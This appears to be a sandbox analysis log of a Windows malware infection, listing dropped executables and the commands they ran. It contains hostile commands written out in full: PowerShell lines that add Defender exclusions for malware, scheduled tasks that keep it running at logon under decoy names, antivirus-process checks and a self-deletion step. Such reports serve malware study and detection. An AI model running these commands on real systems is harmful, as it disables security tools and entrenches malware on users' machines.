- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\document.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3908
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'document.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2564
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2648
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5296
- C:\Users\Admin\AppData\Local\Temp\Files\FreeYoutubeDownloader.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\FreeYoutubeDownloader.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Adds Run key to start application
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5716
- - C:\Windows\Free Youtube Downloader\Free Youtube Downloader\Free YouTube Downloader.exe
    "C:\Windows\Free Youtube Downloader\Free Youtube Downloader\Free YouTube Downloader.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:5552
- C:\Users\Admin\AppData\Local\Temp\Files\Client-built.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Client-built.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5300
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks" /create /tn "java updater" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Files\Client-built.exe" /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2720
- - C:\Windows\system32\SubDir\Client.exe
    "C:\Windows\system32\SubDir\Client.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:6072
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "java updater" /sc ONLOGON /tr "C:\Windows\system32\SubDir\Client.exe" /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5880
- C:\Users\Admin\AppData\Local\Temp\Files\Autoupdate.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Autoupdate.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:336
- C:\Users\Admin\AppData\Local\Temp\Files\dos.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\dos.exe"
  2⤵
  - Executes dropped EXE
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  PID:4928
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:1568
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c <!DOCTYPE html>     <html class="no-js" lang="en-US">  <head> <title>Suspected phishing site | Cloudflare</title> <meta charset="UTF-8" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" />  <style>body{margin:0;padding:0}</style>  <script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert'); cookieEl.style.display = 'block'; }) } </script>  </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">Please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-section cf-wrapper" style="margin-top: 100px;margin-bottom:200px;"> <div class="cf-columns one"> <div class="cf-column"> <h4 class="cf-text-error"><i class="cf-icon-exclamation-sign" style="background-size: 18px; height: 18px; width: 18px; margin-bottom: 2px;"></i> Warning</h4> <h2 style="margin: 16px 0;">Suspected Phishing</h2> <strong>This website has been reported for potential phishing.</strong> <p>Phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source.</p> <p> <a href="https://www.cloudflare.com/learning/acce
    3⤵
    PID:3648
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ss-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain"> <input type="hidden" name="atok" value="XR5LB6NlrBnF3cfMXhhsna4KY88E.eg0r.WDPtkmltA-1731872796-0.0.1.1-/json.php?token=ewogICJjcHVDb3JlcyI6ICI4IiwKICAidG90YWxNZW1vcnkiOiAiODE5MiBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIkdZSEFTT0xTIiwKICAib3NWZXJzaW9uIjogIk1pY3Jvc29mdCBXaW5kb3dzIDEwIiwKICAicHJvY2Vzc29yTmFtZSI6ICJJbnRlbCBDb3JlIFByb2Nlc3NvciAoQnJvYWR3ZWxsKSIsCiAgInN5c3RlbU1vZGVsIjogIlVua25vd24gTW9kZWwiLAogICJjb25maWd1cmF0aW9uIjogIjMiLAogICJ0b2tlbiI6ICJZb3VyX1NlY3JldF9Ub2tlbiIKfQ=="> <button type="submit" class="cf-btn cf-btn-danger" style="color: #bd2426; background: transparent;" data-translate="dismiss_and_enter">Ignore & Proceed</button> </form> </p> </div> </div> </div> <div id="ts-blocks" style="display:none;"></div> <div class="cf-error-footer cf-wrapper w-240 lg:w-full py-10 sm:py-4 sm:px-8 mx-auto text-center sm:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb
    3⤵
    PID:5472
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c -1">Cloudflare Ray ID: <strong class="font-semibold">8e423a52cbf2ed0c</strong></span> <span class="cf-footer-separator sm:hidden">•</span> <span id="cf-footer-item-ip" class="cf-footer-item hidden sm:block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">181.215.176.83</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflare</a></span> </p> <script>(function(){function d(){var b=a.getElementById("cf-footer-item-ip"),c=a.getElementById("cf-footer-ip-reveal");b&&"classList"in b&&(b.classList.remove("hidden"),c.addEventListener("click",function(){c.classList.add("hidden");a.getElementById("cf-footer-ip").classList.remove("hidden")}))}var a=document;document.addEventListener&&a.addEventListener("DOMContentLoaded",d)})();</script> </div> </div> </div> <script> window._cf_translation = {}; </script> </body> </html>
    3⤵
    PID:1980
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:4264
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:1716
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5240
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5156
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5184
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5564
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5608
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:6032
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5436
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:1852
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5844
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5904
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5868
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:6112
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:460
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:1632
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:1056
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:1624
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:392
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:1804
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:4868
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:4972
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:1008
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:4560
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:1900
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:4336
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:3680
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:632
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:4256
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:3048
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:3300
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5180
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5272
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:4440
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:1160
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:4332
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:1312
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:3632
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5520
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5240
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5752
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5184
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5276
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5668
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5324
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5884
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5784
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5924
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:1688
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:2280
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5928
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5304
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:1632
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:3976
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:1424
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:1476
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:4348
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:3820
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:428
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:4688
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:1008
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:4520
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:1892
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:2360
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:2792
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5472
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:3972
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:3120
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5076
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:3392
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5428
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5908
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5752
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:4264
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:2140
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:6124
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5860
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:4496
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:3588
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:1476
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:6128
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:1868
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:4564
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:4972
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5024
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:3892
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:180
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5612
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5564
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:1692
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:2864
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5608
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:1860
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:2400
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5812
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:4700
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:6136
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:4908
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:3936
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:4204
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5768
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:6040
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:2784
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:1904
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:1636
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:1760
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:1892
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5128
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:5760
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Windows\System32\svhost.exe"
    3⤵
    PID:3104
- C:\Users\Admin\AppData\Local\Temp\Files\j86piuq9.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\j86piuq9.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5276
- C:\Users\Admin\AppData\Local\Temp\Files\12.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\12.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  PID:5180
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\Files\12.exe" & del "C:\ProgramData\*.dll"" & exit
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5780
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 5
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:1360
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5180 -s 1472
    3⤵
    - Program crash
    PID:4148
- C:\Users\Admin\AppData\Local\Temp\Files\MePaxil.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\MePaxil.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4600
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /k move Offensive Offensive.cmd & Offensive.cmd & exit
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5484
  - - C:\Windows\SysWOW64\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2260
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /I "wrsa.exe opssvc.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1028
  - - C:\Windows\SysWOW64\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3152
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /I "avastui.exe avgui.exe bdservicehost.exe ekrn.exe nswscsvc.exe sophoshealth.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5448
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c md 543648
      4⤵
      System Location Discovery: System Language Discovery
      PID:5272
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /V "BiddingVeRoutinesFilms" Bowling
      4⤵
      System Location Discovery: System Language Discovery
      PID:1160
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c copy /b ..\Suzuki + ..\Major + ..\Tit + ..\Adjust + ..\Invest + ..\Severe + ..\Sony + ..\Prefers E
      4⤵
      System Location Discovery: System Language Discovery
      PID:1596
  - - C:\Users\Admin\AppData\Local\Temp\543648\Legend.pif
      Legend.pif E
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:5772
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c schtasks.exe /create /tn "Keyboard" /tr "wscript //B 'C:\Users\Admin\AppData\Local\ThreatGuard Innovations\ScanGuard.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:224
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks.exe /create /tn "Keyboard" /tr "wscript //B 'C:\Users\Admin\AppData\Local\ThreatGuard Innovations\ScanGuard.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST
        6⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:5664
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks.exe /create /tn "ScanGuard" /tr "wscript //B 'C:\Users\Admin\AppData\Local\ThreatGuard Innovations\ScanGuard.js'" /sc onlogon /F /RL HIGHEST
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:816
  - - C:\Windows\SysWOW64\choice.exe
      choice /d y /t 15
      4⤵
      System Location Discovery: System Language Discovery
      PID:5492
- C:\Users\Admin\AppData\Local\Temp\Files\cayV0Deo9jSt417.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\cayV0Deo9jSt417.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  PID:5984
- - C:\Windows\SysWOW64\clip.exe
    "C:\Windows\SysWOW64\clip.exe"
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:6132
  - - C:\Users\Admin\AppData\Roaming\System32\taskhost.exe
      "C:\Users\Admin\AppData\Roaming\System32\taskhost.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2784
- C:\Users\Admin\AppData\Local\Temp\Files\golden.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\golden.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  PID:4940
- - C:\Users\Admin\AppData\Local\Temp\Files\golden.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\golden.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5296
- C:\Users\Admin\AppData\Local\Temp\Files\random.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\random.exe"
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Windows security modification
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:5800
- C:\Users\Admin\AppData\Local\Temp\Files\88aext0k.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\88aext0k.exe"
  2⤵
  - Executes dropped EXE
  PID:3284
- C:\Users\Admin\AppData\Local\Temp\Files\bildnewl.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\bildnewl.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of AdjustPrivilegeToken
  PID:5464
- C:\Users\Admin\AppData\Local\Temp\Files\ConsoleApp3.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\ConsoleApp3.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:4952
- C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"
  2⤵
  PID:5500
- C:\Users\Admin\AppData\Local\Temp\Files\discord.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\discord.exe"
  2⤵
  PID:4584
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks" /create /tn "svhost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5560
- - C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
    "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"
